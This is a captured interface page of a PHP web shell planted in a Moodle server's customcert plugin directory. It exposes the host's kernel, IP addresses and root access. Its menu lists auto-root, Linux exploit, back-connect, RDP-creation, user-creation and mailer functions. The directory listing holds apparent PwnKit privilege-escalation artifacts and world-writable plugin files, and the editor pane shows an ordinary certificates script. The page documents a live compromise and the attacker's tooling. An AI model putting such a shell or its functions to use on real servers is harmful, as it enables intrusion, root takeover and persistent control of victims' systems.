Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
customcert /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
amd
[ DIR ]
drwxrwxrwx
backup
[ DIR ]
drwxrwxrwx
classes
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
element
[ DIR ]
drwxrwxrwx
includes
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
mobile
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
templates
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
yui
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
.travis.yml
1.16
KB
-rwxrwxrwx
CHANGES.md
9.07
KB
-rwxrwxrwx
LICENSE.md
34.32
KB
-rwxrwxrwx
README.md
1.57
KB
-rwxrwxrwx
ajax.php
1.81
KB
-rwxrwxrwx
composer.json
199
B
-rwxrwxrwx
edit.php
9.37
KB
-rwxrwxrwx
edit_element.php
3.86
KB
-rwxrwxrwx
index.php
3.91
KB
-rwxrwxrwx
lib.php
13.33
KB
-rwxrwxrwx
load_template.php
3.86
KB
-rwxrwxrwx
manage_templates.php
4.8
KB
-rwxrwxrwx
mod_form.php
10.03
KB
-rwxrwxrwx
my_certificates.php
3.36
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
rearrange.php
5.57
KB
-rwxrwxrwx
report.php
1.33
KB
-rwxrwxrwx
settings.php
4.59
KB
-rwxrwxrwx
styles.css
1.79
KB
-rwxrwxrwx
upload_image.php
1.84
KB
-rwxrwxrwx
verify_certificate.php
5.2
KB
-rwxrwxrwx
version.php
1.36
KB
-rwxrwxrwx
view.php
7.57
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : my_certificates.php
<?php // This file is part of the customcert module for Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Handles viewing the certificates for a certain user. * * @package mod_customcert * @copyright 2016 Mark Nelson <markn@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once('../../config.php'); $userid = optional_param('userid', $USER->id, PARAM_INT); $download = optional_param('download', null, PARAM_ALPHA); $downloadcert = optional_param('downloadcert', '', PARAM_BOOL); if ($downloadcert) { $certificateid = required_param('certificateid', PARAM_INT); $customcert = $DB->get_record('customcert', array('id' => $certificateid), '*', MUST_EXIST); // Check there exists an issued certificate for this user. if (!$issue = $DB->get_record('customcert_issues', ['userid' => $userid, 'customcertid' => $customcert->id])) { throw new moodle_exception('You have not been issued a certificate'); } } $page = optional_param('page', 0, PARAM_INT); $perpage = optional_param('perpage', \mod_customcert\certificate::CUSTOMCERT_PER_PAGE, PARAM_INT); $pageurl = $url = new moodle_url('/mod/customcert/my_certificates.php', array('userid' => $userid, 'page' => $page, 'perpage' => $perpage)); // Requires a login. require_login(); // Check that we have a valid user. $user = \core_user::get_user($userid, '*', MUST_EXIST); // If we are viewing certificates that are not for the currently logged in user then do a capability check. if (($userid != $USER->id) && !has_capability('mod/customcert:viewallcertificates', context_system::instance())) { print_error('You are not allowed to view these certificates'); } // Check if we requested to download a certificate. if ($downloadcert) { $template = $DB->get_record('customcert_templates', array('id' => $customcert->templateid), '*', MUST_EXIST); $template = new \mod_customcert\template($template); $template->generate_pdf(false, $userid); exit(); } $table = new \mod_customcert\my_certificates_table($userid, $download); $table->define_baseurl($pageurl); if ($table->is_downloading()) { $table->download(); exit(); } $PAGE->set_url($pageurl); $PAGE->set_context(context_user::instance($userid)); $PAGE->set_title(get_string('mycertificates', 'customcert')); $PAGE->set_pagelayout('standard'); $PAGE->navigation->extend_for_user($user); // Additional page setup. $PAGE->navbar->add(get_string('profile'), new moodle_url('/user/profile.php', array('id' => $userid))); $PAGE->navbar->add(get_string('mycertificates', 'customcert')); echo $OUTPUT->header(); echo $OUTPUT->heading(get_string('mycertificates', 'customcert')); echo html_writer::div(get_string('mycertificatesdescription', 'customcert')); $table->out($perpage, false); echo $OUTPUT->footer();
Close